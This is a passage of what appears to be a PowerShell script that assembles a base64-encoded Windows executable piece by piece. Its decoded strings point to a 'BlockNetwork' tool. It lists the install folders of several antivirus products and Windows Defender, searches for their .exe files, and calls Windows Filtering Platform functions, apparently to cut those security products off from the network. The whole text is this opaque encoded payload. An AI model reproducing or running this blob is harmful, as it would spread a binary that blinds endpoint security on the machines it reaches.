$dat += 'AQ8D+AAAECBAjwPwAAAAAAAPA/AAAAAAAAAABsb2cxMAAAAAAAAAAAAAAA////////P0P///////8/wyUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcADkAMgBlAGQAZgA5AGQANwBjAGEAMAA2ADQAOQA4ADcAYQBiADUAZgAyADIANgBmAGUAZAA5AGQAMwAwADYAZQAAACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAEEAdgBhAHMAdAAgAFMAbwBmAHQAdwBhAHIAZQBcAEEAdgBhAHMAdAAAAAAAAAAAAAAAJQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwARQBTAEUAVABcAEUAUwBFAFQAIABTAGUAYwB1AHIAaQB0AHkAAAAAAAAAAAAAAAAAAAAlAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAAAAAAAAAAAAAAAAAAAAAAAlAFAAcgBvAGcAcgBhAG0ARgBpAGwAZQBzACUAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAAAAJQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASwBhAHMAcABlAHIAcwBrAHkAIABMAGEAYgAAAAAAAAAAACUAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAJQBcAEIAaQB0AGQAZQBmAGUAbgBkAGUAcgAAAAAAJQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwAUwB5AG0AYQBuAHQAZQBjAC4AAAAAAAAAAAAlAFAAcgBvAGcAcgBhAG0ARABhAHQAYQAlAFwAQQB2AGcAAAAqAAAAKgAuAGUAeABlAAAAAAAAAAAAAAAAAAAAcEYBgAEAAADQRgGAAQAAACBHAYABAAAAcEcBgAEAAADQRwGAAQAAABBIAYABAAAAUEgBgAEAAACISAGAAQAAAMBIAYABAAAAAAAAANEpKGMAAAAAAgAAAFgAAAAYSwEAGDcBA';
$dat += 'AAAAADRKShjAAAAAAwAAAAUAAAAcEsBAHA3AQAAAAAA0SkoYwAAAAANAAAAlAIAAIRLAQCENwEAAAAAANEpKGMAAAAADgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAhwAYABAAAAAAAAAAAAAAAAAAAAAAAAALDSAIABAAAAwNIAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABLAYABAAAAAAAAAAAAAAAAAAAAAAAAALjSAIABAAAAyNIAgAEAAADQ0gCAAQAAANB/AYABAAAAAAAAAAAAAAAYAAAAAIAAgAAAAAAAAAAAAAAAAAAAAABSU0RTxmenDsP/t0milrcZhmwQjwEAAABDOlxVc2Vyc1xiaWJrXERlc2t0b3BcQmxvY2tOZXR3b3JrXHg2NFxSZWxlYXNlXEJsb2NrTmV0d29yay5wZGIAAAAAAL4AAAC+AAAAAgAAALwAAABHQ1RMABAAACC0AAAudGV4dCRtbgAAAAAgxAAAQAAAAC50ZXh0JG1uJDAwAGDEAADgAgAALnRleHQkeAAA0AAAsAIAAC5pZGF0YSQ1AAAAALDSAAAoAAAALjAwY2ZnAADY0gAACAAAAC5DUlQkWENBAAAAAODSAAAIAAAALkNSVCRYQ1oAAAAA6NIAAAgAAAAuQ1JUJFhJQQAAAADw0gAAGAAAAC5DUlQkWElDAAAAAAjTAAAIAAAALkNSVCRYSVoAAAAAENMAAAgAAAAuQ1JUJFhQQQAAAAAY0wAAEAAAAC5DUlQkWFBYAAAAACjTAAAIAAAALkNSVCRYUFhBAAAAMNMAAAgAAAAuQ1JUJFhQWgAAAAA40wAACAAAAC5DUlQkWFRBAAAAAEDTAAAQAAAALkNSVCRYVFoAAAAAUNMAALB3AAAucmRhdGEAAABLAQAYAAAALnJkYXRhJHZvbHRtZAAAABhLAQAAAwAALnJkYXRhJHp6emRiZwAAABhOAQAIAAAALnJ0YyRJQUEAAAAAIE4BAAgAAAAucnRjJElaWgAAAAAoTgEACAAAAC5ydGMkVEFBAAAAADBOAQAIAAAALnJ0YyRUWloAAAAAOE4BAGgLAAAueGRhdGEAAKBZAQB4AAAALmlkYXRhJDIAAAAAGFoBABgAAAAuaWRhdGEkMwAAAAAwWgEAsAIAAC5pZGF0YSQ0AAAAAOBcAQAMBgAALmlkYXRhJDYAAAAAAHABAOAJAAAuZGF0YQAAAOB5AQDQEQAALmJzcwAAAAAAkAEAaA0AAC5wZGF0YQAAAKABAPwAAABfUkRBVEEAAACwAQBgAAAALnJzcmMkMDEAAAAAYLABAIABAAAucnNyYyQwMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABklCQATNBQBEwEMAQzwCuAIcAdgBlAAAGDCAABQCAAAGSQHABJklgASNJUAEgGSAAtwAABgwgAAgAQAABkrBwAadG8AGjRuABoBagALUAAAYMIAAEADAAAZKwcAGnStABo0rAAaAaoAC1AAAGDCAABABQAAAQQBAARiAAAAAAAAAQAAABEVCAAVdAkAFW';
$dat += 'QHABU0BgAVMhHgfCUAAAIAAADYFwAARxgAAGDEAAAAAAAAqhgAALUYAABgxAAAAAAAAAEGAgAGMgJQEQoEAAo0CAAKUgZwfCUAAAQAAADvGAAADhkAAHfEAAAAAAAA5BgAACYZAACQxAAAAAAAAC8ZAAA6GQAAd8QAAAAAAAAvGQAAOxkAAJDEAAAAAAAAAQQBAARCAAAJGgYAGjQPABpyFuAUcBNgfCUAAAEAAABxGQAAVxoAAKTEAABXGgAAAQYCAAZSAlABDwYAD2QHAA80BgAPMgtwAQgBAAhCAAABCQEACWIAAAEKBAAKNA0ACnIGcAEIBAAIcgRwA2ACMAEGAgAGMgIwAQ0EAA00CQANMgZQCQQBAAQiAAB8JQAAAQAAAIsgAAAVIQAA2sQAABUhAAABAgEAAlAAAAEUCAAUZAgAFFQHABQ0BgAUMhBwARUFABU0ugAVAbgABlAAAAEKBAAKNAYACjIGcAEPBgAPZAYADzQFAA8SC3ABAAAAAAAAAAEAAAABHAwAHGQQABxUDwAcNA4AHHIY8BbgFNASwBBwCQ0BAA2CAAB8JQAAAQAAAGkoAAB4KAAA8sQAAHgoAAABBwMAB0IDUAIwAAAAAAAAAgEDAAIWAAYBcAAAAQAAAAEAAAABAAAAAQAAAAAAAAACAgQAAxYABgJgAXABAAAAARwMABxkDAAcVAsAHDQKABwyGPAW4BTQEsAQcAAAAAABBAEABEIAAAEEAQAEQgAAAQQBAARCAAABBAEABEIAAAEWBAAWNAwAFpIPUAkGAgAGMgIwfCUAAAEAAABZOgAAqDoAAKLFAADzOgAAEQ8EAA80BgAPMgtwfCUAAAEAAAAdOgAAJjoAAIjFAAAAAAAAARMIABM0DAATUgzwCuAIcAdgBlABHQwAHXQLAB1kCgAdVAkAHTQIAB0yGfAX4BXAAQ8EAA80BgAPMgtwARgKABhkDAAYVAsAGDQKABhSFPAS4BBwAQsBAAtiAAABGAoAGGQKABhUCQAYNAgAGDIU8BLgEHARDwQADzQGAA8yC3B8JQAAAQAAAI1CAACXQgAAiMUAAAAAAAAJBAEABEIAAHwlAAABAAAA6kUAAPJFAAABAAAA8kUAAAEAAAABCgIACjIGMAEJAgAJkgJQAQkCAAlyAlARDwQADzQGAA8yC3B8JQAAAQAAANFIAADhSAAAiMUAAAAAAAARDwQADzQGAA8yC3B8JQAAAQAAAFFJAABnSQAAiMUAAAAAAAARDwQADzQGAA8yC3B8JQAAAQAAAJlJAADJSQAAiMUAAAAAAAARDwQADzQGAA8yC3B8JQAAAQAAABFJAAAfSQAAiMUAAAAAAAAZLgkAHWTEAB00wwAdAb4ADuAMcAtQAABgwgAA4AUAAAEUCAAUZAoAFFQJABQ0CAAUUhBwARkKABl0CwAZZAoAGVQJABk0CAAZUhXgARkKABl0DQAZZAwAGVQLABk0CgAZchXgARwKABw0FAAcshXwE+AR0A/ADXAMYAtQARwMABxkDgAcVA0AHDQMABxSGPAW4BTQEsAQcBkwCwAfNHEAHwFmAB';
$dat += 'DwDuAM0ArACHAHYAZQAABgwgAAIAMAABkrBwAadFYAGjRVABoBUgALUAAAYMIAAIACAAABFAgAFGQMABRUCwAUNAoAFHIQcBkjCgAUNBIAFHIQ8A7gDNAKwAhwB2AGUGDCAAA4AAAAAQYCAAZyAjARDwYAD2QIAA80BwAPMgtwfCUAAAEAAACBZgAA0GYAAL3FAAAAAAAAARkGABk0DAAZchJwEWAQUBkrBwAaZPQAGjTzABoB8AALUAAAYMIAAHAHAAARDwQADzQGAA8yC3B8JQAAAQAAAO1fAAB4YQAAiMUAAAAAAAABDwYAD2QLAA80CgAPcgtwAQYDAAY0AgAGcAAAAQUCAAV0AQABFAgAFGQOABRUDQAUNAwAFJIQcBEGAgAGMgIwfCUAAAEAAABadQAAcXUAANbFAAAAAAAAARwLABx0FwAcZBYAHFQVABw0FAAcARIAFeAAAAEZCgAZdAkAGWQIABlUBwAZNAYAGTIV4BEGAgAGMgIwfCUAAAEAAADGdgAA3HYAAO/FAAAAAAAAAQcBAAdCAAAREQgAETQRABFyDeAL0AnAB3AGYHwlAAACAAAApXgAAGN5AAAFxgAAAAAAANV5AADteQAABcYAAAAAAAARDwQADzQGAA8yC3B8JQAAAQAAAAZ3AAAcdwAAiMUAAAAAAAABDAIADHIFUBEPBAAPNAYADzILcHwlAAABAAAAZnoAAM96AAAmxgAAAAAAABESBgASNBAAErIO4AxwC2B8JQAAAQAAAAR7AACsewAAQcYAAAAAAAARFAYAFGQJABQ0CAAUUhBwfCUAAAEAAAC/gAAA94AAAF7GAAAAAAAAEQoEAAo0BgAKMgZwfCUAAAEAAADxhAAAA4UAAHjGAAAAAAAAGR8FAA0BigAG4ATQAsAAAGDCAAAQBAAAISgKACj0hQAgdIYAGGSHABBUiAAINIkAkIUAAOuFAAD8VQEAIQAAAJCFAADrhQAA/FUBAAELBQALZAMACzQCAAtwAAAZEwEABKIAAGDCAABAAAAAAQoEAAo0CgAKcgZwGS0NNR90FAAbZBMAFzQSABMzDrIK8AjgBtAEwAJQAABgwgAAUAAAAAEPBgAPZBEADzQQAA/SC3AZLQ1VH3QUABtkEwAXNBIAE1MOsgrwCOAG0ATAAlAAAGDCAABYAAAAARUIABV0CAAVZAcAFTQGABUyEeABFAYAFGQHABQ0BgAUMhBwERUIABV0CgAVZAkAFTQIABVSEfB8JQAAAQAAAB+XAABmlwAA1sUAAAAAAAABCAEACGIAABEPBAAPNAYADzILcHwlAAABAAAAFZkAAHCZAACRxgAAAAAAABEbCgAbZAwAGzQLABsyF/AV4BPQEcAPcHwlAAABAAAAEKMAAEGjAACrxgAAAAAAAAEXCgAXNBcAF7IQ8A7gDNAKwAhwB2AGUBkqCwAcNCgAHAEgABDwDuAM0ArACHAHYAZQAABgwgAA8AAAABktCQA';
$dat += 'bVJACGzSOAhsBigIO4AxwC2AAAGDCAABAFAAAGTELAB9UlgIfNJQCHwGOAhLwEOAOwAxwC2AAAGDCAABgFAAAEQoEAAo0CAAKUgZwfCUAAAEAAAB+pgAA/KYAAMLGAAAAAAAAAQYCAAZSAjABFwoAF1QMABc0CwAXMhPwEeAP0A3AC3ABDgIADjIKMAEYBgAYVAcAGDQGABgyFGABCQEACUIAABEPBAAPNAcADzILcHwlAAABAAAArK4AALauAADbxgAAAAAAABkfCAAQNA8AEHIM8ArgCHAHYAZQYMIAADAAAAAAAAAAAQoDAApoAgAEogAAEQ8EAA80BgAPMgtwfCUAAAEAAACZtwAA2bcAAJHGAAAAAAAAAQgCAAiSBDAZJgkAGGgOABQBHgAJ4AdwBmAFMARQAABgwgAA0AAAAAEGAgAGEgIwAQsDAAtoBQAHwgAAAAAAAAEEAQAEAgAAAQQBAASCAAABGwgAG3QJABtkCAAbNAcAGzIUUAkPBgAPZAkADzQIAA8yC3B8JQAAAQAAABrBAAAhwQAA88YAACHBAAAJCgQACjQGAAoyBnB8JQAAAQAAAO3BAAAgwgAAIMcAACDCAAABAgEAAjAAAAEEAQAEEgAAAQAAAAAAAAB4XAEAAAAAAAAAAAAYXQEASNIAAFhcAQAAAAAAAAAAADZdAQAo0gAAmFwBAAAAAAAAAAAAUl0BAGjSAAAwWgEAAAAAAAAAAAAGXgEAANAAAGhcAQAAAAAAAAAAACJeAQA40gAAyFwBAAAAAAAAAAAAUF4BAJjSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACKYAEAAAAAAFZiAQAAAAAARGIBAAAAAADcYgEAAAAAADZiAQAAAAAAXF0BAAAAAABqXQEAAAAAAHpdAQAAAAAAiF0BAAAAAACWXQEAAAAAAKRdAQAAAAAAtl0BAAAAAADGXQEAAAAAAOJdAQAAAAAA7l0BAAAAAAD2XQEAAAAAACZiAQAAAAAAFGIBAAAAAADIYgEAAAAAALZiAQAAAAAAoGIBAAAAAACUYgEAAAAAAIBiAQAAAAAAcGIBAAAAAACqXgEAAAAAAMZeAQAAAAAA5F4BAAAAAAD4XgEAAA';
$dat += 'AAAAxfAQAAAAAAKF8BAAAAAABCXwEAAAAAAFhfAQAAAAAAbl8BAAAAAACIXwEAAAAAAJ5fAQAAAAAAsl8BAAAAAADEXwEAAAAAANhfAQAAAAAA8F8BAAAAAAAAYAEAAAAAABhgAQAAAAAAMGABAAAAAABIYAEAAAAAAHBgAQAAAAAAfGABAAAAAACYYAEAAAAAAKJgAQAAAAAAsGABAAAAAADCYAEAAAAAANRgAQAAAAAA5mABAAAAAAD0YAEAAAAAAAphAQAAAAAAIGEBAAAAAAAsYQEAAAAAADhhAQAAAAAATGEBAAAAAABeYQEAAAAAAGhhAQAAAAAAdGEBAAAAAACAYQEAAAAAAJJhAQAAAAAApGEBAAAAAAC6YQEAAAAAANBhAQAAAAAA6mEBAAAAAAAEYgEAAAAAAGJiAQAAAAAAAAAAAAAAAAAmXQEAAAAAAAAAAAAAAAAAFF4BAAAAAAAAAAAAAAAAAPRcAQAAAAAA4FwBAAAAAAAGXQEAAAAAAAAAAAAAAAAAiF4BAAAAAABuXgEAAAAAAFpeAQAAAAAAnF4BAAAAAABCXQEAAAAAAAAAAAAAAAAAPl4BAAAAAAAuXgEAAAAAAAAAAAAAAAAAjQBGd3BtU3ViTGF5ZXJBZGQwAAAqAEZ3cG1FbmdpbmVPcGVuMAAxAEZ3cG1GaWx0ZXJBZGQwAABmd3B1Y2xudC5kbGwAAD0AUGF0aENvbWJpbmVXAABTSExXQVBJLmRsbADrAU50UXVlcnlPYmplY3QAbnRkbGwuZGxsAM4AQ3JlYXRlRmlsZVcAagJHZXRMYXN0RXJyb3IAADkDR2xvYmFsQWxsb2MAQANHbG9iYWxGcmVlAACJAENsb3NlSGFuZGxlAIkBRmluZEZpcnN0RmlsZVcAAJUBRmluZE5leHRGaWxlVwBrAUV4cGFuZEVudmlyb25tZW50U3RyaW5nc1cAfgFGaW5kQ2xvc2UAjwVTbGVlcAD1AENyZWF0ZVRocmVhZAAAS0VSTkVMMzIuZGxsAAAxAENoYXJMb3dlclcAAFVTRVIzMi5kbGwAACoAQ29DcmVhdGVHdWlkAAAMAlN0cmluZ0Zyb21HVUlEMgBvbGUzMi5kbGwA8wJSdGxDYXB0dXJlQ29udGV4dADpBFJ0bExvb2t1cEZ1bmN0aW9uRW50cnkAACgGUnRsVmlydHVhbFVud2luZAAADgZSdGxVbndpbmRFeADABVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAfwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAIAJHZXRDdXJyZW50UHJvY2VzcwCeBVRlcm1pbmF0ZVByb2Nlc3MAAIwDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudABSBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyACECR2V0Q3VycmVudFByb2Nlc3NJZAAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwCBAkdldE1vZHVsZUhhbmRsZVcAAHMDSW50ZXJsb2NrZWRGbHVzaFNMaXN0AEEFU2V0TGFzdE';
$dat += 'Vycm9yAAA4AUVudGVyQ3JpdGljYWxTZWN0aW9uAADEA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAUAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBrA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAsAVUbHNBbGxvYwAAsgVUbHNHZXRWYWx1ZQCzBVRsc1NldFZhbHVlALEFVGxzRnJlZQC0AUZyZWVMaWJyYXJ5ALgCR2V0UHJvY0FkZHJlc3MAAMoDTG9hZExpYnJhcnlFeFcAAGgEUmFpc2VFeGNlcHRpb24AAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAAH0CR2V0TW9kdWxlRmlsZU5hbWVXAABVA0hlYXBGcmVlAABRA0hlYXBBbGxvYwCEAUZpbmRGaXJzdEZpbGVFeFcAAJIDSXNWYWxpZENvZGVQYWdlALsBR2V0QUNQAAChAkdldE9FTUNQAADKAUdldENQSW5mbwDfAUdldENvbW1hbmRMaW5lQQDgAUdldENvbW1hbmRMaW5lVwD2A011bHRpQnl0ZVRvV2lkZUNoYXIAEQZXaWRlQ2hhclRvTXVsdGlCeXRlAEECR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAswFGcmVlRW52aXJvbm1lbnRTdHJpbmdzVwC4A0xDTWFwU3RyaW5nVwAAvgJHZXRQcm9jZXNzSGVhcAAA3AJHZXRTdGRIYW5kbGUAAFgCR2V0RmlsZVR5cGUA4QJHZXRTdHJpbmdUeXBlVwAAWgNIZWFwU2l6ZQAAWANIZWFwUmVBbGxvYwBbBVNldFN0ZEhhbmRsZQAAqAFGbHVzaEZpbGVCdWZmZXJzAAAlBldyaXRlRmlsZQAJAkdldENvbnNvbGVPdXRwdXRDUAAABQJHZXRDb25zb2xlTW9kZQAAMwVTZXRGaWxlUG9pbnRlckV4AAAkBldyaXRlQ29uc29sZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzV0g0mbU//8yot8tmSsAAP////8AAAAAAQAAAAIAAAAvIAAAAAAAAAD4AAAAAAAA/////wAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAD/////DAAAAAgAAAAAAAAAAAA';
$dat += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6AAAAAAAAQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEAAAAAAAACAgICAgICAgICAgICAgICAgICAgICAgICAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXoAAAAAAABBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAgQIAAAAAAAAAAAAAAAApAMAAGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkAADF+gf4AAAAAwPMAgAEAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
$dat += 'AAAAACHcBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIdwGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh3AYABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACHcBgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIdwGAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgeAGAAQAAAAAAAAAAAAAAAAAAAAAAAABA9gCAAQAAAMD3AIABAAAAQOwAgAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgdQGAAQAAAGBwAYABAAAAQwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////AAAAALh4AYABAAAAgIsBgAEAAACAiwGAAQAAAICLAYABAAAAgIsBgAEAAACAiwGAAQAAAICLAYABAAAAgIsBgAEAAACAiwGAAQAAAICLAYABAAAAf39/f39/f3+8eAGAAQAAAISLAYABAAAAhIsBgAEAAACEiwGAAQAAAISLAYABAAAAhIsBgAEAAACEiwGAAQAAAISLAYABAAAALgAAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
$dat += 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAgICAgIDAwMDAwMDAwAAAAAAAAAA/v////////8AAAAAAAAAAAEAAAB1mAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0EgAAOE4BAEASAADNEwAAWE4BANATAABFFQAAdE4BAFAVAADdFgAAkE4BAOAWAAASFwAArE4BADAXAABOFwAAuE4BAFAXAACgFwAAVE8BAKAXAAC2GAAAvE4BALgYAAA8GQAAAE8BADwZAABtGgAAXE8BAHAaAACtGgAAjE8BALAaAADkGgAAxE8BAOQaAAC2GwAApE8BALgbAADLGwAAVE8BAMwbAABoHAAAnE8BAGgcAADVHAAArE8BANgcAABJHQAAuE8BAEwdAAD4HQAAzE8BACQeAAA/HgAAVE8BAEAeAAB5HgAAVE8BAHweAACwHgAAVE8BALAeAADFHgAAVE8BAMgeAADwHgAAVE8BAPAeAAAFHwAAVE8BAAgfAABoHwAAAFABAGgfAACYHwAAVE8BAJgfAACsHwAAVE8BAKwfAAD1HwAAxE8BAPgfAACDIAAAxE8BAIQgAAAcIQAA2E8BABwhAABAIQAAxE8BAEAhAABpIQAAxE8BAHwhAADHIgAAFFABAMgiAAAEIwAAJFABAAQjAABAIwAAJFABAEQjAADlJAAAMFABAHwlAACHJwAATFABAIgnAACyJwAAxE8BALQnAADcJwAAVE8BANwnAADwJwAAVE8BAPAnAAACKAAAVE8BAAQoAAAdKAAAVE8BACAoAAAwKAAAVE8BADAoAACdKAAAaFABAMAoAADQKAAAmFABAOAoAABwKgAApFABAIAqAACYKgAAqFABAKAqAAChKgAArFABALAqAACxKgAAsFABAOwqAAALKwAAVE8BAAwrAABZKwAAxE8BAFwrAAB1KwAAVE8BAHgrAAA3LAAAjE8BADgsAAB/LAAAVE8BAIAsAACiLAAAVE8BAKQsAADWLAAAVE8BANgsAAAP';
$dat += 'LQAAxE8BACAtAAAwLQAAuFABAEAtAAC1MwAAxFABALgzAAAGNQAAyFABAAg1AABNNQAAxE8BAFA1AACWNQAAxE8BAJg1AADeNQAAxE8BAOA1AAAxNgAAJFABADQ2AACVNgAAjE8BALA2AADwNgAA6FABAAA3AAAqNwAA8FABADA3AABWNwAA+FABAGA3AACnNwAAAFEBAMQ3AAAoOAAAAFABACg4AABlOAAAJFABAHw4AAD+OQAAAFABAAA6AAA4OgAANFEBADg6AAD5OgAAFFEBAAg7AADEOwAACFEBAMQ7AAAOPAAAxE8BABA8AABrPAAAxE8BAJg8AABXPgAAbFEBAFg+AAC1PgAAxE8BALg+AAA+QAAAWFEBAEBAAACsQAAAJFABAKxAAACyQQAAlFEBALRBAAD1QQAAiFEBAPhBAAASQgAAVE8BABRCAAAuQgAAVE8BADBCAABoQgAAVE8BAHBCAACrQgAAzFEBAKxCAADCQwAAtFEBAMRDAAD+QwAArFEBADxEAABfRAAAVE8BAGREAAB0RAAAVE8BAHREAACxRAAAxE8BALxEAAD8RAAAxE8BAPxEAABXRQAAVE8BAGxFAACARQAAVE8BAIBFAACQRQAAVE8BAJBFAADFRQAAVE8BAMhFAADYRQAAVE8BANhFAAD4RQAA8FEBAPhFAABXRgAAxE8BAFhGAACuRgAAVE8BALBGAABLRwAAjE8BAGBHAADdRwAAEFIBABRIAABRSAAAFFIBAFRIAACySAAAxE8BALRIAADzSAAALFIBAPRIAAAxSQAAmFIBADRJAAB5SQAAUFIBAHxJAADbSQAAdFIBANxJAACpSgAAHFIBAKxKAADMSgAAFFIBAMxKAADBSwAAJFIBAMRLAAArTAAAJFABACxMAABtTAAAxE8BAHBMAABETQAAjE8BAERNAADrTQAAxE8BAOxNAAC4TgAAjE8BALhOAADxTgAAVE8BAPROAAAWTwAAVE8BABhPAABgTwAAxE8BAHxPAACzTwAAxE8BANBPAAAMUAAAxE8BAAxQAABnUQAAvFIBAHBRAAAeUgAA3FIBACBSAAA+UgAArE4BAEBSAACHUgAAVE8BANBSAAAeUwAAJFABACBTAABAUwAAVE8BAEBTAABgUwAAVE8BAGB